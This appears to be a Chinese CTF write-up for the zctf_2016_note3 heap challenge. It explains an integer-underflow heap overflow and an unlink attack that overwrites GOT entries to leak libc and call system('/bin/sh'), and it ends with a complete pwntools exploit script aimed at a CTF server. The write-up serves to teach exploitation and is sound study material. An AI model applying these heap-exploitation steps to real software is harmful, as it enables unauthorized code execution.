zctf_2016_note3(无show,利用unlink去改got表去实现show) 检查防护
got表可写,也没有开启PIE
IDA静态分析
这题的漏洞点在edit里,这里a2是我们add时输入的size值,如果我们输入0,那么这里a2-1就等于-1,i是无符号整型,那么我们就可以输入足够多的内容去覆盖下一个chunk,造成了堆溢出
这道题没有show,那么我们要思考如何去泄露libc,这题有存放我们chunk的malloc指针的数组,所以是符合unlink的条件的
我们可以通过unlink去修改free@got为puts@plt,那么我们去free的时候相当于执行puts,如果参数设置为atoi@got就可以泄露libc了
首先布置堆风水触发unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 target = 0x6020c0 fd = target - 0x8 bk = target add(0 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x90 ,'aaaa' ) add(0x10 ,'aaaa' ) payload_1 = 'a' *(0x10 )+p64(0 )+p64(0x71 )+p64(0 )+p64(0x60 )+p64(fd)+p64(bk)+b'a' *(0x40 )+p64(0x60 )+p64(0xa0 ) edit(0 ,payload_1) free(2 )
我们现在去edit(1)就可以布置指针数组里的内容了
1 2 3 4 5 payload_2 = p64(0 )*3 +p64(elf.got['free' ])+p64(elf.got['atoi' ])*2 edit(1 ,payload_2) edit(1 ,p64(elf.plt['puts' ])[:-1 ])
我们先把free@got写入,再编辑时就是修改free@got了,这里需要主要一个问题就是我们只写入7个字节,不能写成
1 edit(1 ,p64(elf.plt['puts' ]))
因为程序会在用户输入后面加上\x00,若发送8位会将下一个got地址低字节变为0,那么程序就崩溃了,这里puts@plt高字节也为\x00,所以发送7位无影响。后面再去泄露libc
1 2 3 4 5 free(3 ) atoi_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) success('atoi_addr = ' + hex (atoi_addr)) libc_base = atoi_addr - libc.sym['atoi' ] system = libc_base + libc.sym['system' ]
那么再去修改atoi@got为system,再发送/bin/sh就拿到shell了
1 2 3 edit(2 ,p64(system)[:-1 ]) io.recvuntil('option--->>\n' ) io.sendline('/bin/sh\x00' )
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.log_level = "debug" context.arch="amd64" io = remote("node4.buuoj.cn" ,26433 ) libc = ELF('./libc-2.23-64.so' ) elf = ELF('./zctf_2016_note3' ) def add (size,content ): io.recvuntil('option--->>\n' ) io.sendline(str (1 )) io.recvuntil('Input the length of the note content:(less than 1024)' ) io.sendline(str (size)) io.recvuntil('Input the note content:' ) io.sendline(content) def edit (index,content ): io.recvuntil('option--->>\n' ) io.sendline(str (3 )) io.recvuntil('Input the id of the note:' ) io.sendline(str (index)) io.recvuntil('Input the new content:' ) io.sendline(content) def free (index ): io.recvuntil('option--->>\n' ) io.sendline(str (4 )) io.recvuntil('Input the id of the note:' ) io.sendline(str (index)) target = 0x6020c0 fd = target - 0x8 bk = target add(0 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x90 ,'aaaa' ) add(0x10 ,'aaaa' ) payload_1 = 'a' *(0x10 )+p64(0 )+p64(0x71 )+p64(0 )+p64(0x60 )+p64(fd)+p64(bk)+b'a' *(0x40 )+p64(0x60 )+p64(0xa0 ) edit(0 ,payload_1) free(2 ) payload_2 = p64(0 )*3 +p64(elf.got['free' ])+p64(elf.got['atoi' ])*2 edit(1 ,payload_2) edit(1 ,p64(elf.plt['puts' ])[:-1 ]) free(3 ) atoi_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) success('atoi_addr = ' + hex (atoi_addr)) libc_base = atoi_addr - libc.sym['atoi' ] system = libc_base + libc.sym['system' ] edit(2 ,p64(system)[:-1 ]) io.recvuntil('option--->>\n' ) io.sendline('/bin/sh\x00' ) io.interactive()